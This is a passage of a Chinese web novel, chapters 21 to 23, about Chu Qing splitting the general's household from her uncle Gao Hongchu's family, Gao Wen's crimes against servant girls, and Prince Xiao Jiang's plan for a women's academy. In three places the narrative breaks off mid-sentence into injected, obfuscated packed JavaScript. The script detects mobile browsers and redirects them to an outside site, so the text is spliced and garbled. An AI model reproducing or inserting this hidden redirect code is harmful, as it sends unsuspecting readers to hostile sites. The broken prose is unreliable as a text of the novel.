楚卿皱了皱眉。依蒋氏的性子，无非就是来劝她放人。和尚念经尚能安抚人心，蒋氏却一贯只会念叨“算了吧，算了吧”，楚卿已经够烦了，不想再同蒋氏生气。 “三更半夜的，让她回去好好休息。有什么事情，明天再说。”楚卿吩咐完，准备出府给林七请位郎中。推开门，却发现玉竹没走。 “你怎么还在这？”楚卿问。 玉竹搅了搅手指：“小姐，您和夫人有快半个月没见了吧？” 楚卿想了想，似乎从上次记起楚二的死因，她就没再去过霜颐院。蒋氏也没来找过她。 玉竹又劝：“小姐，夫人请了郎中，让人进来给小七姐姐瞧一瞧吧！” 楚卿回眸看了看房内的林七，妥协了：“嗯，请进来吧！” 同蒋氏一起进来的是为灰袍素衣的郎中，约莫四十多岁的年纪。楚卿上下打量他一眼，觉得眼熟。蒋氏许是瞧出她的疑虑，忙上前解释：“小二，这是沈伯伯，忘了吗？” 一听姓沈，楚卿便猜到了。 沈问青，蒋氏那位青梅竹马。楚卿想到他为了蒋氏半生未娶，不由多看了一眼。 沈问青没注意到楚卿的打量，只是上前恭敬见礼，征求过楚卿的意见后，开始上前隔着帘帐为林七诊脉。 楚卿坐在一旁的矮脚圆桌前等着结果，蒋氏就一直站在她和沈问青之间，时不时来回踱步，显得有些局促。 楚卿不免心软，道了一声：“娘，坐会儿。” 蒋氏如同听到吩咐，忙过来直直坐下。甫一坐定才反应过来，方才楚卿喊她“娘”了。 她忍不住眼底含笑，犹豫片刻，看向楚卿：“小二，娘有话同你讲，方便出去一下吗？” 楚卿没想太多，直接开口：“等会儿。” 林七还在昏迷，她不放心把林七和沈问青单独留在这。 蒋氏却会错了意，交叠在膝上的手不由一颤：“小二……”许是因为紧张，她的声音微微颤抖，“娘，娘对不住你。” 楚卿一心放在林七身上，听见蒋氏的话，不由愣了愣：“什么？” 蒋氏起身，语气几乎带着恳求：“小二，沈伯伯在这，我们出去说吧！” 楚卿放心不下林七，又不好当着外人驳蒋氏的面子，只好吩咐玉竹在房里守着，自己同蒋氏到了外面。 夜里风寒，楚卿出来前拿了一件外氅，到门口递给蒋氏。蒋氏明显一怔，眼眶竟有些泛红。 楚卿别过头不再看她，不轻不重道：“披上吧，外面冷。” 蒋氏接过外氅，顺从地披好，又犹豫一阵，才开口：“小二，从前是娘对不住你。” 楚卿不语。 蒋氏又道：“你爹走得早，娘也没本事。你长这么大，娘扪心自问，确实没照顾好你。可你是个懂事的孩子，从小不争不抢，也不哭闹。娘确实没想到，你心里压着这么多委屈，竟会想不开跳湖。” 蒋氏说着，声音里已经带了哽咽：“小二，从前是娘糊涂。娘以为只要忍着、让着，不同高家人计较，这日子就能勉强熬下去。可你说得对，日子不是用来熬的，活得舒不舒坦，得靠自己争。” 这话由蒋氏说出来，楚卿不免有些诧异。可惜她不是楚二，没资格替 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790869|158092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚二说原谅。所以她没接蒋氏的话，只是默默听她说下去。不管这个道歉是否有用，至少忏悔的人能心安些。 蒋氏继续道：“小二，娘没别的本事，这辈子只做了嫁给你爹这一件大事。你爹是个大英雄，娘跟着沾光，也捡来一个一品诰命的头衔。之前秋云那事是娘糊涂，若你还想让高闻偿命，娘这就去宫里求见皇后娘娘。皇后娘娘深明大义，定会为你主持公道。” 楚卿无奈苦笑，皇后娘娘执掌六宫，哪有闲工夫管将军府的家事。可她回眸望着蒋氏眼底一片炽热真诚，又不忍扫她的兴，只好道：“我明白了，娘，回去吧，外面冷。” 过了不多时，沈郎中替林七诊好脉，开了些安神养身的方子，确定林七无碍后，独自乘车回了杏林医馆。 楚卿守着林七没去送沈郎中。但她注意到，蒋氏和沈郎中相处时，一改憔悴病态，整个人都精神许多，不免心想：或许等他日离开将军府，沈郎中当是蒋氏的好归宿。 次日一早，林七苏醒。 楚卿在她床边守了一夜，见人安然无恙地醒来，悬着的心终于沉了下去。 眼下没了忧虑，也该算帐了。 她换好衣裳，嘱咐林七再多休息片刻，独自一人去了高闻的院子。 也是赶巧，楚卿到的时候刚好撞见高弘储和把守的暗卫争执。 祁王府的暗卫不准高弘储入内，高弘储扯着脖子叫喊：“这是镇南将军府，不是你们祁王府，识相的都给本官滚开！” 高弘储如今还是朝中官员，没有楚卿的命令，祁王府暗卫不能擅自出手动他。他们拿高弘储没辙，只能拦着他不让他进去见高闻。至于高弘储怎么骂，只要不骂到祁王本人，这些暗卫便全当耳旁风。 高弘储一拳打在棉花上，气急败坏地扫视一圈，竟突然抽出了身旁暗卫腰间的刀。 他将长刀一横，指着门口的暗卫：“睁开你们的狗眼看看清楚，本官才是将军府的一家之主。本官今天偏要进去，谁拦本官，别怪本官手下无情。” “你敢！” 身后传来一声冷呵，高弘储回身，只见楚卿站在身后，一双冷眸轻蔑地睨着他，嗤笑一声：“姑父许是为官多年课业荒废，连将军府外的匾额都不识得了。我竟不知镇南将军府何时不姓楚，改姓高了。” 这话无疑是往高弘储的脊梁上戳，高弘储又气又臊，却不肯服软，他拿刀指向楚卿，岔开话茬：“楚二，你纵容一群外人在将军府肆意妄为，成何体统！” 楚卿偏不肯顺他的意，又把话转回来：“外人？我如今是圣上钦封的祁王妃，祁王府的人怎么能算外人。倒是姑父您，您鸠占鹊巢这么多年，是时候滚蛋了吧？” 语罢，楚卿无视比在身前的刀，绕过高弘储进了院子，临进门还吩咐：“既然高大人想进来，就放他进来吧！” 高弘储隐隐察觉世态不妙，一心思量着对策，怔在原地没动作。领头暗卫走过去，指尖在他手腕上一磕，刀便脱手落回到暗卫手中。 长刀反手入鞘，领头暗卫躬身做了个请的手势，却轻蔑：“高大人，不是谁提刀都有用。楚二姑娘还在等您，请吧！” 21. 第二十一章 祁王府一早接到暗卫的传信，也知晓了楚家的情况。叶危担心楚卿斗不过高弘储这样的无赖，一早赶到萧绛的寝殿请示，问是否需要祁王府正式出面。 萧绛今日需要进宫面圣，一早换好了衣衫。他捧起暖手炉出门，淡淡道：“不必，她应付得来。” 前些日子，高弘储检举吏部的事情被翻到明面上，圣上命他协管监察司一同彻查此事。吏部贪腐多年，朝中不少官员都知情。眼下一朝事发，朝中官员人心惶惶，大半人都怕监察司顺藤摸瓜，一路摸到自己的把柄。 昨日萧绛去鸿章书院拜会周老，周老还问他此事是不是他的手笔。萧绛未答，心下却想，此事若要细究，从年初开头到如今收尾，倒都是楚卿做的局。他不过是顺水推舟，把这把火烧得更旺了些。 萧绛临走到门口，叶安从府里追出来，手里捧着一碗冒着热气的汤药，喘着气道：“王爷，药还没喝呢！” 萧绛看着药碗，想起这是上次楚卿送来的药，摆了摆手：“回来再说。” 叶安捧着药碗还想劝萧绛，然人已经登上了马车。 “药也不喝，也不好好修养。”叶安忍不住埋怨，“这样下去，咳疾什么时候才能好？” 话音未落，车帘被掀开。 叶安心下一惊，忙闭嘴。萧绛却只在药碗上扫过一眼，转而看向叶危：“今日不必随我入宫，去镇南将军府。”又顿了顿。 “看好楚卿，但不必干涉她。” …… 高弘储已在客堂里坐了半晌，手边的茶凉了一盏又一盏。楚卿一直在她对面坐着，时不时喝口茶，吃些糕点，偏偏就是不提高闻的事。 高弘储着急见儿子，又不敢催促，只能坐在位置上等，如同热锅上的蚂蚁。 又过了半刻钟，有暗卫进门来报，说高家大夫人楚暮回来了。楚卿才终于开口：“请进来。” 高弘储心里直犯嘀咕，也不知楚卿葫芦里卖的什么药，放不放高闻一句话的事情，大老远把他夫人和女儿叫回来做什么？ 而楚暮回来路上已经得知昨夜的事，她先把小女儿高淳送回房里，叮嘱下人看顾好，惴惴不安地赶了过来。 楚暮也落座，高弘储见楚卿还是没有开口的意思，实在不耐烦了，开始催促：“行了，架子也摆了，人也都到齐了。楚二小姐，该说正事了吧？” 楚卿搓了搓指尖的桂花糕碎末：“急什么，当家作主的人还没来，再等等。” 高弘储和楚暮相视一眼，不解：如今这阵势，谁当家作主都摆在明面上了，还有什么人有这么大面子敢姗姗来迟？ 楚卿没再解释。高弘储正困惑，玉竹就走了进来，特意大声回禀：“小姐，夫人来了。” 随后，蒋氏穿着一身藏蓝一品诰命服，从院外走了进来。 楚卿将人迎到主位上坐好，蒋氏悄悄问楚卿：“小二，娘能行吗？” 楚卿低声安抚：“放心，有我在。”而后转身吩咐暗卫，“这回人齐了，把高闻带上来吧！” 高闻被两名暗卫押入客堂，双手捆在身后。因为嘴被堵着，一见爹娘，忙呜呜咽咽地求救。 楚暮一面怪儿子不争气，一面又心疼，只好哀声求楚卿：“小二，这事是你表哥不对，但毕竟没出什么大事，先把人松绑吧！” 楚卿嗤笑：“什么算大事，非要像秋云一样丢了性命，才算大事吗？” 楚暮自知理亏，忙闭上嘴。高弘储却在心里暗骂：一个下贱丫鬟，死就死了，也配让他儿子受罪？ 楚卿命人将高闻拖到一旁，淡淡道：“高大公子的事情不急，今日找姑父姑母过来，主要是为了另外一件事。”说着，她看向蒋氏。 蒋氏坐正身姿，衣摆下攥着的手掌紧了紧，道：“今天叫诸位前来，主要为谈一件事。先夫殉国已有十六年，这十六年里有赖妹妹妹夫一家操持将军府，镇南将军府才得以家道未衰。然小二如今受封祁王妃，嫁期将至，我又体弱，总劳烦妹妹一家照看将军府，实在过意不去。”蒋氏顿了顿，心跳得飞快，“故而，今日请诸位前来，主要是为了分家一事。” “分家”二字一出口，蒋氏如同打下一场胜仗，多年积压的情绪在心底翻涌，好像终于找到了突破的关口。 楚卿注意到蒋氏有些出神，手抖得厉害，便借着喝茶的功夫轻轻咳了一声，问高弘储夫妇：“姑夫姑母怎么看？” 楚暮既是高家大夫人，也是镇南将军府的胞妹。她夹在两边不便开口，只能先保持沉默。 高弘储心中一喜，他早琢磨着分家离开京城，正愁找不到机会开口。他故作不舍，假惺惺道：“咱们一家人一起住了快二十年，忽然说分开，还真不太适应。”许是生怕蒋氏反悔，忙又道：“不过在下能理解嫂嫂的一片苦心，既然嫂嫂想要分家，那便分吧！只不过，这家产……” “自然会好好分配。”蒋氏应声。 高弘储往椅背上一靠，面露得意：“那可得好好算算。本官在吏部这么多年，俸禄赏银一分不少，尽数拿回作为将军府的家用。嫂嫂不掌家，不知柴米贵。偌大的将军府若是没本官养着，只怕扛不住这么多年。” 楚卿心底嗤笑，就凭他那点俸禄，都不够他家高大公子的一顿酒钱。还他养着将军府，要不是镇南将军府受朝廷恩赏，只怕早就坐吃山空了。 蒋氏朝一旁的柳嬷嬷招手，柳嬷嬷遂将一本账册递给高弘储和楚暮。 蒋氏又道：“这本账册中记录着府里的一应支出。东院的吃穿用度一向勤俭，上下用度，每月不足十两。但我日常用药还需花费，且按二十两算。朝中每月支给将军府五十两的补贴，算下来，可余三十两。至于西院的花费，妹妹和妹夫应当清楚。若是有不清楚的部分，也可以再问问贤侄。” 高弘储一面听着蒋氏解释，一面翻着账目，越翻越觉得事情不对。账本里把他和高闻二人平日吃喝嫖赌的花费一条条记得比他自己还清楚。若按这一桩一件算下来，他不仅分不到家产，反倒要用自己的私钱抵债。 念及此处，他有些坐不住了。 高弘储的面色一阵青白，楚卿尽数眼底，适时开口：“我记得去年表哥从府里支出了五百两现银，不知用作何处，眼下可方便解释？” 高弘储把账目往后一翻，果然看见一笔巨额支出，登时要恼。楚卿摆了摆手，吩咐暗卫将高闻嘴里的布条取了下来。 高闻立刻开口叫喊：“爹，娘，别听楚二那贱人胡诌！她一个小丫头片子争什么家产，嫁出去还不是都给了外人。该是我们的一分也不能少，不能按她们的账目算！” 楚卿听完只觉得可笑：“对，该是你们的，一分也不会少给。不该是你们的，一毫也别想多拿。” 高弘储看出楚卿是有备而来，硬来是行不通了。他忽然起身，上前给了高闻一脚，不轻不重，倒也给高闻踹了个跟头。 “混帐东西！”高弘储大骂，“圣贤书都叫你读进狗肚子了！怎么跟你表妹说话呢，道歉！”说着，给高闻使了个眼色。 高闻愣了愣：“爹！你也向着外人？” 高弘储差点被气出一口老血，心里暗骂怎么生出这么个废物点心，又转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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高弘储已然怕了，他尽力妥协道：“去年那小丫鬟命苦，眼下人没了，是该好好安葬。修墓的钱我来出，全当赔罪。” 楚卿指尖敲打着桌沿：“好啊，那既然如此，姑父不妨再给她立个碑，记得刻上姓名和生卒年月。” 高弘储下意识应好，应完才反应过来，他连那小丫鬟叫什么都不知道。他再抬眸，只见楚卿淡淡打量他，眼底满是轻蔑，已然是把他的心思早看穿了。 高弘储只好又转而说林七的事：“小二，年前的事且先不谈。但你姑母说得对，昨天晚上的事情毕竟没酿成大错。待会让你表哥去给那小丫鬟赔礼，就算了吧！你若担心她因此嫁不出去，姑父也可以帮她找一户老实的人家。你看，这样成吗？” 楚卿没应。 高弘储犹豫一瞬，改口道：“不是，不是，你若觉得委屈了她，那就让你表哥给她个名分，她一个小丫鬟能入将军府做妾，实在不亏了。” 楚卿依旧不语，指尖在桌沿上不轻不重地点着。 高弘储只好又退步，叹道：“那就侧室。不过你表哥尚未娶妻，要娶她，还得再等等。” 楚卿仍不语，目光愈发森凉。 高弘储也急了：“楚二，你别得寸进尺！难不成你想让她一个下贱丫鬟给我儿子做正室？” 啪！ 一声脆响，桌上的茶杯狠狠摔在地上。 只见沉默良久的楚卿漠然抬眸，眸光如刀锋：“娶小七？” “他也配！” 22. 第二十二章 楚卿的话音不算大，却透着难以忽视的威压。 高弘储说什么也没想到他自以为的妥协，反倒触到了楚卿的逆鳞。他耷拉着脑袋不敢抬头，只觉得一道寒刀似的目光刺在他的身上，生生将他看得汗毛倒竖。 “那……那你想怎么样？”高弘储的话音微微颤抖。他大概从来没想过，自己半截入土的年纪，竟会被一名小姑娘吓得话都说不利索。 楚卿起身，拂了拂衣袖，语气恢复淡漠：“如何处置凶犯高闻，自有衙门论断，这不是姑父该考虑的事情。姑父与其担心自己的宝贝儿子，不妨先考虑分家一事。此事一日不定下来，姑父就一日别想离开将军府。我只给你们三天的时间考虑，答应，还是不答应，想清楚了，就来琼英院找我。” 语罢，楚卿扶着蒋氏一同出门，临走到门口，又回眸看向高弘储：“对了，念在姑母的份上，不妨再提醒姑父一句。吏部尚书赵大人已派人前往柳州，姑父若是再不尽早将你那笔私产转移，只怕要被当成贪腐的罪证了。” 高弘储动作一僵，后知后觉：“我揭发吏部的事情，是你告诉赵炳的？” 楚卿没答他的话，扶着蒋氏走了。 送蒋氏回霜颐院的路上，蒋氏对分家一事没底气，忍不住楚卿：“若是高家人不答应分家怎么办？万一他们真要破罐子破摔，同我们硬拖着，我们也不能真动手赶人。毕竟镇南将军府名声在外，即使分家，也得保住体面。” 楚卿早有打算，浅笑道：“母亲真当柳州的院子是给高弘储准备的吗？如今吏部贪腐一事已被翻到明面上，高弘储和吏部尚书赵炳狗咬狗，甚至不惜直接闹到圣上跟前，他已然出不去京城了。 “柳州的房产是给姑母和表妹准备的。” 蒋氏惊讶地眨了眨眼睛。 楚卿见她许是没懂，又解释：“高闻的事情已经传开，日后公开受审，难免影响到表妹的名声。淳儿还小，暂时离开京城避一避风头，总好过在这受高闻牵连。” 蒋氏没料到楚卿考虑的远比她想的多，忍不住搭住楚卿的手，心疼道：“那你呢，你的名声怎么办？” 楚卿不由一愣。 她倒是不在乎这些，不过上次萧绛怎么说来着？ 说她可以不在乎，但祁王妃不能。 她忍不住笑了一下：“这就轮不到我犯愁了。” 毕竟萧绛如今大权在握，正是春风得意的时候，能偶尔给他添点麻烦，也挺有趣的。 …… 楚卿走后，领头暗卫按吩咐把祁王府的人分散到将军府的外围看守，高闻的院子也因此暂时得以解封。 高闻在被暗卫抓捕时受了些擦伤，高弘储立刻吩咐人给他擦药。等药上完，楚暮来找高弘储，说想和他谈谈。 高弘储看了看儿子脸上的擦伤，不耐烦地摆手：“儿子被人打了，连句关心的话都没有，有你这么当娘的？” 楚暮手里正攥着方取来金疮药，听见高弘储的话，把药藏回了袖子里。 她走上前，恨铁不成钢地看了一眼高闻：“我们楚家男儿征战沙场，皮开肉绽都不曾叫苦。阿闻变成今天这样，还不都是你惯的。” 高弘储哧声：“是，你们楚家各个英雄，你那侄女最最英雄。她如今要把我们一家扫地出门，还要说是看在你楚暮的面子上才多施舍了点盘缠。可显出你们是一家人了。” 事情闹成这样，楚暮心里也难受。她轻叹一声，劝道：“这事，就按楚二说的来吧！说到底，镇南将军府终归是我兄长的家业，于情于理，都是我们亏欠。我知道你私下里攒着不少积蓄，你瞒着我，我也不怪你。等我们一家去了柳州，我陪你经商，咱们重新过日子。过去的事，就让它过去吧！” 高弘储正守在高闻的床边，楚暮说着，上前搭住他的肩膀。 “啰嗦！”高弘储一把拂开她的手，“你有功夫在这劝我，不如想想办法让你的好侄女放过阿闻。阿闻可是我们老高家的独苗，他出了事，你这大夫人也不用当了。” 楚暮的手忍不住抖了一下，心底一阵酸涩。她想发火，可看了一眼高闻，高闻始终低着头，没有劝架的意思，反倒看起来有些不耐烦。 她不想当着儿子的面吵架，叹了一声，决定再去找楚卿求求情。 正走到院门口，迎面遇上了林七。 撞见林七，楚暮没原由地心虚，不知怎的，她竟想起了从前跟在楚二身边的小丫鬟。 叫什么来着？ 哦对，秋云，挺忠心的小丫鬟。 犹豫一瞬，楚暮上前，躬身道：“逆子顽劣，多有冒犯，我代他向你赔罪。” 林七愣了一下，回过神，按楚卿的吩咐传话：“大……小姐，小姐找您。” 险些叫错称呼。 …… 楚暮抵达琼英院时，楚卿正在整理分家的账目。朝廷每年拨给将军府的补贴不多，蒋氏没有收入，高家父子又挥霍无度，如今将军府剩下的积蓄并不多。 楚老将军一生征战，没攒下多少积蓄。将军府的大半家业多是旧时楚家的家财。 楚卿将楚老将军为数不多的遗产单独捡出来，其余的田产、铺面按市价折合成银票，取二分之一，单独罗列在一旁。 楚暮来了，楚卿就起身将方才单独拿出的一半银票递给她：“你是楚家人，楚家的家产理应有你的一半。这部分，我不会少你。这些是田产铺面折现后的银票，你和淳儿去柳州的时候带上，到时后重新置办家业，别让淳儿受苦。” 楚暮进门前还带着些怨气，听见那句“别让淳儿受苦”，神色不由软了下来。 楚卿又道：“如果你不想要银两，也可以拿走田产和铺面的契书。不过高闻不日受审，你和淳儿可能需要去柳州避一避风头。这一去也不知多久才能回来，田产和铺面，不如银两方便。” 楚暮愣了愣：“这是什么意思？” 楚卿以为她没懂，又解释：“姑母是聪明人，应该看得出高弘储贪腐的事情闹得不小，就算圣上能放过他，吏部的人也会私下找他的麻烦。为了淳儿的安全，姑母最好带着淳儿出去避一避。何况高闻的事情可能也会影响表妹的名声，暂时离开京城，是眼下最好的解决办法。” 说着，楚卿坐回到书案前，继续计算剩下的账目，又淡淡补了一句：“不过，若是姑母日后还想回来，我也不会拦你们。” 楚暮恍了恍神，走上前解释：“不是，我是问，为什么要给我和淳儿安排后路，你不恨我们吗？” 楚卿提笔的动作顿了一下，转瞬，又从容落笔：“我只是按规矩处理。你是楚家嫡女，这些家产是你应得的。” 楚暮翻了翻手里的账目，不由困惑：“小二，你算错了。 “按规矩，你的父亲是楚家长子，楚家的家产，理当由他继承大半。而兄长无子， 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楚暮又哀求：“他犯了错，你打他，骂他，哪怕你废他的一条腿，姑母都不会拦你。但，能不能留下他的性命。这次他受了教训，以后一定会改。” 楚卿有些无奈，她把方才在高闻院子里给高弘储看过的账册又递给楚暮，道：“高闻半年前支走了五百两银子，姑母不好奇他拿去做什么了吗？” 楚暮想不出答案，却没缘由的心慌。 楚卿的声音冷了下去：“过去的半年里，像秋云一样在他手里遇害的姑娘至少还有五人。这五人里，有人当场殒命，被他偷偷运到城郊抛/尸；还有人被他软禁在京郊的小院里，日日受尽折磨。那五百两银子，就是他用来卖通城门守卫和租赁京郊院落的钱。” 这些事情，早在楚卿回忆起秋云的死因时就已经开始调查。而直到昨日，海云端的人才将最后一名姑娘救了出来。可惜人虽然还活着，却已经神智不清了。 楚卿目光沉沉地楚暮：“姑母，您真的觉得只是受些苦，就能让高闻悔过吗？还是姑母觉得，让高闻断一条腿，就能弥补那些受尽折磨的姑娘们？” 楚暮没答话，衣袖下的手却止不住地颤抖。 楚卿再次摆了摆手：“姑母回去好好想想吧，为自己考虑考虑，也为淳儿考虑考虑。” 打发走楚暮，楚卿草草用过晚饭，借着难得的清闲，又翻开《四荒游记》。 坐在书案前的时间总是过得很快，楚卿察觉肩膀酸痛，再一抬头，窗外的月亮都挂上了树梢。 一阵风吹开窗子，吹乱了书页。 楚卿起身去关窗，再回到书案边，一低头，刚好看见书页上画着一个熟悉的图案。 金鹰展翅，四角海浪波纹。 图案下配着一行小字——胡族王室图腾。 那日在大火中救她的人，身上戴着胡族王室的玉佩。 正思量着，林七前来叩门。 楚卿回过神，将书页折起合好，应了一声：“进吧！” 林七进门启禀道：“大人，高弘储‘买通’祁王府的暗卫，将高闻送出将军府了。” 说完，将高弘储塞给暗卫的银两递给楚卿。 楚卿捏着银子在书案上敲了敲，眼底笑意不明：“京城如今可不太平，高大公子深更半夜跑出去，再回来，可指不定什么样了。” 23. 第二十三章 高弘储将高闻送出将军府，既是为了帮他脱罪，也是为了让他先一步去柳州转移那笔私产。不过他自己没跟着一起逃。因为分家一事，他还想同楚卿争一争。 京城没有宵禁，喧嚣的夜市灯火通明。高闻惴惴不安地坐在马车里，时不时掀开车帘朝外张望。 距离城门还远，街上到处都是行人。一辆黑色马车同他的马车擦肩而过，不疾不徐地朝反方向驶去。 马车一路驶到城北，最后在鸿章书院的门前停下。萧绛拂着狐裘下车，早已在此等候的小书童忙提着灯笼上前，恭恭敬敬地见礼，又领着人往后院的暖阁走。 周亭以老先生好棋，暖阁的坐榻上总摆着一方棋桌。不过今日棋桌上没有解了一半的棋局，反倒放着两坛格格不入的酒坛。 黑坛红盖，盖子上落着不少灰尘，隐隐约约还能看见酒坛上的刻字——杜康酒馆。 萧绛的视线在两坛酒上停驻一瞬，淡然落座：“先生近来身体可好？” 周亭以豁然一笑，摆手道：“老咯，老咯，今个圣上传老臣进宫，老臣回来的路上瞧着集市热闹，一时兴起下车走了几步。哪成想这把老骨头一见风，骨头缝里跟钻了蚂蚁似得疼，可比不得当年了。”又关切地问萧绛，“殿下呢？身体可好些了？” 萧绛颔首：“劳先生挂心，已无大碍了。” 周亭以看了眼天色，又问小书童：“尚先兄又在摆什么谱，怎么还没到？” 小书童悄悄打量一眼萧绛，怯怯道：“闫老先生说看完最后一卷策论再来，劳您和祁王殿下稍等片刻。” 后半句是小书童审时度势，自己加的。 周亭以看向萧绛，无奈解释：“尚先兄前些日子不知从哪翻出一本前朝的策论汇编，近来一直不分昼夜地坐在藏书楼里熬，俨然是茶饭不思了。”说着，又扣了扣棋桌上的酒坛，“这不，还叫他翻出两坛五年前的松醪酒。” 杜康酒馆的酒坛换过几批样式，五年前的酒坛和今时大有不同。然萧绛一进门的时候便已瞧出来，周老面前的两坛酒是杜康酒馆的松醪酒。 从前一闲下来，楚钦手里总拎一小坛。 恰在此时，门吱噶一声被推开。 外面刚落起小雪，姗姗来迟的闫峥进门抖了抖衣袖。周亭以转而看向门口，也就没注意到萧绛眼底一闪而过的落寞。 闫峥走进来，瞟了一眼松醪酒，问周亭以：“这老物件，你放这做什么？” 周亭以全当没听见他的话，转而看向萧绛：“这酒，是五年前寻卿那小子送来的。” 萧绛大概猜到了，没接话，继续听周老继续解释。 “那臭小子死心眼。五年前，老臣欲他收他为徒，他不肯，非说一生只拜一名师父，而他从前已行过拜师礼，不肯再拜老臣。所以他就拿来两坛酒来糊弄老臣，说是赔罪。不过老臣当时已经离京，这两坛酒也就没交到老臣的手里。”周亭以说着，语气里带着些叹惋。 那时替周亭以收下松醪酒的人正是闫峥。闫峥立马接过话头揶揄：“还说人家死心眼？也不知道是谁，因为收不成爱徒一气之下辞官离京。要不是京城出了事，你现在还指不定在哪呢！” “你不折我面子难受是不是？”周亭以回怼，“你好意思说我，你不也一样动了收徒的心思，不过慢我一步罢了。” 萧绛听着两位老先生斗嘴，视线在酒坛上越缩越紧，一时出神，险些错过周老后来问他的话。 “老臣听闻，王爷昨日向圣上提议，有意在鸿章书院开设女子学部？” 想必圣上今日召周老进宫，应是为着此事。而周老此时约萧绛相见，也是为了此事了。 萧绛也不隐瞒，直言道：“学生确有此意。”却没急着说理由。 周亭以又道：“上次，藏书楼混进一名扮成男装的女子，王爷应还记着此事。而早在此前，也有名小丫头时常偷溜进来。老闫一直瞧在眼里，见那小丫头只是看书，也就没赶她。 “然，读书求学本是光明磊落之事，若非世道所限，何须偷偷摸摸？故而今日圣上问及此事，老臣便考虑着，若我朝女子有求学问道之心，那鸿章书院作为大靖第一书院，未尝不可开此先河。” 周亭以的看法倒令萧绛颇为意外。 鸿章书院虽为周老暂管，但真正建立鸿章书院的人，还是一旁默不作声的闫老。此事是否可行，也得问问闫峥的意思。 闫峥靠坐在一旁，事不关己地摊了摊手：“瞧我做什么？我一个看门的，可不管这麻烦事。” 在历来只收男子的书院里办女子学部，确实是件麻烦事。 大靖民风远不够开化，男女同窗求学的事情传出去，只怕会生出难以入耳的谣言。可若要分开上课，似乎也不能单独让一位男先生教一群女学生。 周亭以不由发愁：“女学生不难招，可这女先生去哪找呢？” 萧绛不由想起楚钦。 若她还在，倒是不二人选。 “大靖疆域辽阔，人才辈出，四海之内，未尝没有才华出众的女子。”萧绛道，“女先生的事情，等圣上应允此事后，学生可以派人去找。” “不妨现在就着手准备吧！”周亭以道，“圣上今日虽向老臣问起此事，但弦外之音怕是想借老臣之口回绝此事。王爷若决心办成此事，还得早做打算。” 回祁王府的马车上，萧绛就一直在思索如何将女子学部在鸿章书院内顺利办起来。 既要考虑世俗的眼光，又要考虑实操的可行性。是否有足够的女学生愿意入院，又是否能找到合适的女先生，桩桩件件都要仔细考虑清楚。 夜色已深，萧绛越想越乏累，不免怀疑楚钦到底是什么铁打的身子，身兼二职，昼夜不歇，竟也还有时间去酒馆里品酒。 正思量着，马车外的叶危忽然叩门：“王爷，城南暗探来报。高闻从将军府出逃，在顺德街被人发现，当街给打了。” 萧绛皱了皱眉：“高闻逃了？” 萧绛的声音太小，叶危没听见，只继续回禀：“据城南的探子描述，高闻的马车跑到顺德街的时候，忽然冲出来一群乞丐乞讨。高闻出来查看情况，被之前一名受害姑娘的兄长认了出来。 “街上的百姓得知他污人清白还害人性命，开始朝他丢东西。场面鸡飞蛋打的，高闻就从马车上摔了下来。 “这一摔，直接被人围了。” 萧绛问：“衙门的人呢？” 叶危：“衙门的人现在还没到，但我们的人看见围殴高闻的人里，不少人下了死手，不似寻常百姓，很可能是赵炳找来的打手。” 萧绛轻笑一声。 借刀杀人，打得好算盘。 “高闻的命还有用，别让他死了。”萧绛转着扳指，话音含笑，“等人打得差不多了，让衙门的人清场。高闻，再送回将军府去。” 叶危领命，马车继续往祁王府赶。 回府后，萧绛去了北书房。瀚水盟约的签约大典尚有些新账目没审，他暂时还不能休息。 烛光昏黄，照得人昏昏欲睡。 萧绛揉了揉眼角，喊来叶安：“去给本王也切一盘苦瓜来。” 叶安不解：“王爷要那玩意做什么，苦了吧唧的，吃了活受罪。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790872|158092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>萧绛抬眸，眼里泛起轻微的血丝，看着有些疲惫。 叶安一顿，琢磨起那个“也”字，隐隐觉得事情不止是吃苦瓜这么简单。可惜祁王府没有苦瓜，叶安只能大半夜出去买。 外面还在下雪。 临到门口，叶安遇上效仿“程门立雪”的兄长，上前打听：“哥，你知道谁爱吃苦瓜吗？” 正在沉思练气的叶危缓缓睁眼，侧眸看向叶安：“怎么了？” 叶安：“王爷要吃苦瓜，让我现在准备。真是奇了怪了，王爷不是最讨厌苦味吗，吃那破玩意做什么？” 叶危思量一瞬，又闭目沉思，继续蹲马步：“从前有人靠吃苦瓜提神，王爷许是困了。” 叶安挠了挠头，思量片刻，又折了回去。 叶危在身后问他：“你不去买苦瓜了？” 叶安摆摆手：“咱们祁王府别的没有，苦的最多。王爷今天正好还没喝药，我这就去给他煮一碗。” …… 高闻是被夜郎用粪车送回的将军府。 衣衫已被撕扯得破烂不堪，斑驳的血迹和干涸的鸡蛋液遍布全身，蓬乱的头发里还夹着沙土和烂菜叶。 不仅如此，他浑身多处淤血，面部有刀伤，两条腿更是彻底废了。 高弘储看见自己好端端送出去的人变成这副样子，立刻抬着高闻到琼英院找楚卿兴师问罪。 